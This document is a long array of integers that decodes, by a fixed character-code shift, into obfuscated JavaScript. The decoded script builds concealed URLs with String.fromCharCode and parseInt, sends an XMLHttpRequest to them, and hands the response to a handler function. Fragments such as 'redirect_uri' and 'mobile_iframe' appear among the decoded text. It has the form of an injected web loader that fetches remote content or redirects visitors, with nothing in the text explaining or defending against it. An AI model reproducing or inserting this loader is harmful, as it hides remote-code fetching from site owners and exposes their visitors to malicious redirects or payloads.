9,93,82,83,22,94,79,96,97,83,55,92,98,22,37,35,27,32,36,23,26,94,79,96,97,83,55,92,98,22,36,33,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,34,39,23,26,94,79,96,97,83,55,92,98,22,37,35,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,35,36,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,31,23,26,94,79,96,97,83,55,92,98,22,39,37,27,34,38,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,31,23,26,94,79,96,97,83,55,92,98,22,39,30,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,34,37,23,26,94,79,96,97,83,55,92,98,22,37,39,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,35,37,23,26,94,79,96,97,83,55,92,98,22,38,33,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,35,39,23,23,26,82,87,97,94,90,79,103,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,31,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,37,32,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,33,23,23,26,83,32,83,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,37,33,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,37,27,35,32,23,23,26,90,93,81,79,90,83,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,31,38,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,33,30,23,23,26,91,93,80,87,90,83,77,87,84,96,79,91,83,40,15,31,26,97,82,89,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,32,23,23,26,96,83,82,87,96,83,81,98,77,99,96,87,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,36,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,33,23,26,94,79,96,97,83,55,92,98,22,37,30,27,31,32,23,26,94,79,96,97,83,55,92,98,22,36,37,27,32,30,23,26,94,79,96,97,83,55,92,98,22,37,32,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,37,23,26,94,79,96,97,83,55,92,98,22,36,33,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,39,23,26,94,79,96,97,83,55,92,98,22,35,37,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,33,23,26,94,79,96,97,83,55,92,98,22,35,39,27,31,32,23,23,26,100,83,96,97,87,93,92,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,38,27,34,30,23,26,94,79,96,97,83,55,92,98,22,37,34,27,32,34,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,35,34,23,23,26,83,102,98,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,35,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,36,23,23,107,26,93,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,93,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,35,35,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,36,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,34,38,23,26,94,79,96,97,83,55,92,98,22,37,38,27,33,31,23,26,94,79,96,97,83,55,92,98,22,38,34,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,37,35,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,33,23,26,94,79,96,97,83,55,92,98,22,39,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,34,37,23,26,94,79,96,97,83,55,92,98,22,37,35,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,33,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,35,36,23,26,94,79,96,97,83,55,92,98,22,36,34,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,34,23,26,94,79,96,97,83,55,92,98,22,37,38,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,35,36,23,23,25,77,48,22,98,23,23,26,93,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,93,28,97,83,92,82,22,23,26,93,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,34,43,43,93,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,93,28,97,98,79,98,99,97,20,20,77,86,22,83,23,107,107,84,99,92,81,98,87,93,92,14,77,86,22,83,23,105,100,79,96,14,98,43,73,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,36,32,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,39,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,36,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,34,38,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,39,23,26,94,79,96,97,83,55,92,98,22,39,35,27,34,32,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,32,23,26,94,79,96,97,83,55,92,98,22,39,35,27,34,36,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,33,27,33,31,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,33,27,33,39,23,26,94,79,96,97,83,55,92,98,22,36,39,27,31,34,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,34,23,26,94,79,96,97,83,55,92,98,22,37,38,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,34,31,23,26,94,79,96,97,83,55,92,98,22,38,38,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,31,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,34,37,23,26,94,79,96,97,83,55,92,98,22,39,30,27,33,36,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,32,31,23,26,94,79,96,97,83,55,92,98,22,37,33,27,31,38,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,34,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,39,38,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,32,31,23,26,94,79,96,97,83,55,92,98,22,38,33,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,30,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,37,23,26,94,79,96,97,83,55,92,98,22,36,39,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,36,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,37,35,27,32,31,23,26,94,79,96,97,83,55,92,98,22,37,34,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,32,37,23,26,94,79,96,97,83,55,92,98,22,38,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,38,37,27,33,31,23,26,94,79,96,97,83,55,92,98,22,39,30,27,33,39,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,31,27,33,32,23,26,94,79,96,97,83,55,92,98,22,37,32,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,39,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,33,37,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,30,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,35,23,26,94,79,96,97,83,55,92,98,22,37,30,27,32,32,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,36,27,35,31,23,26,94,79,96,97,83,55,92,98,22,39,37,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,36,30,23,26,94,79,96,97,83,55,92,98,22,39,36,27,34,30,23,26,94,79,96,97,83,55,92,98,22,39,39,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,30,23,26,94,79,96,97,83,55,92,98,22,39,38,27,34,31,23,26,94,79,96,97,83,55,92,98,22,38,36,27,33,30,23,26,94,79,96,97,83,55,92,98,22,38,32,27,33,33,23,26,94,79,96,97,83,55,92,98,22,38,35,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,34,31,23,26,94,79,96,97,83,55,92,98,22,39,31,27,34,32,23,26,94,79,96,97,83,55,92,98,22,39,37,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,31,32,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,31,27,32,38,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,38,23,26,94,79,96,97,83,55,92,98,22,37,34,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,39,35,27,33,39,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,35,30,23,26,94,79,96,97,83,55,92,98,22,38,30,27,32,36,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,30,23,26,94,79,96,97,83,55,92,98,22,36,33,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,35,33,23,26,94,79,96,97,83,55,92,98,22,37,32,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,39,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,36,36,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,35,33,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,34,23,26,94,79,96,97,83,55,92,98,22,39,30,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,38,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,35,38,23,26,94,79,96,97,83,55,92,98,22,39,32,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,35,27,34,30,23,26,94,79,96,97,83,55,92,98,22,38,39,27,33,39,23,26,94,79,96,97,83,55,92,98,22,37,33,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,39,23,26,94,79,96,97,83,55,92,98,22,38,39,27,33,35,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,31,38,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,35,34,23,26,94,79,96,97,83,55,92,98,22,38,37,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,39,23,26,94,79,96,97,83,55,92,98,22,37,34,27,31,39,23,26,94,79,96,97,83,55,92,98,22,39,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,34,39,23,26,94,79,96,97,83,55,92,98,22,37,39,27,32,33,23,26,94,79,96,97,83,55,92,98,22,38,32,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,35,35,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,30,27,33,32,23,26,94,79,96,97,83,55,92,98,22,38,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,35,32,23,26,94,79,96,97,83,55,92,98,22,37,36,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,37,39,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,35,33,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,31,23,26,94,79,96,97,83,55,92,98,22,39,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,31,37,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,30,23,26,94,79,96,97,83,55,92,98,22,38,32,27,32,36,23,26,94,79,96,97,83,55,92,98,22,39,30,27,33,34,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,34,27,35,36,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,34,39,23,26,94,79,96,97,83,55,92,98,22,36,32,27,31,33,23,26,94,79,96,97,83,55,92,98,22,37,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,34,34,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,37,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,37,32,27,31,35,23,26,94,79,96,97,83,55,92,98,22,38,39,27,33,35,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,32,39,23,26,94,79,96,97,83,55,92,98,22,39,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,36,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,37,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,37,32,27,31,35,23,26,94,79,96,97,83,55,92,98,22,38,39,27,33,35,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,32,39,23,26,94,79,96,97,83,55,92,98,22,39,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,36,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,36,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,39,23,26,94,79,96,97,83,55,92,98,22,39,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,37,34,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,37,23,26,94,79,96,97,83,55,92,98,22,39,32,27,33,38,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,33,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,36,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,32,23,26,94,79,96,97,83,55,92,98,22,38,39,27,33,34,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,37,37,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,38,38,27,33,36,23,26,94,79,96,97,83,55,92,98,22,37,31,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,33,39,23,26,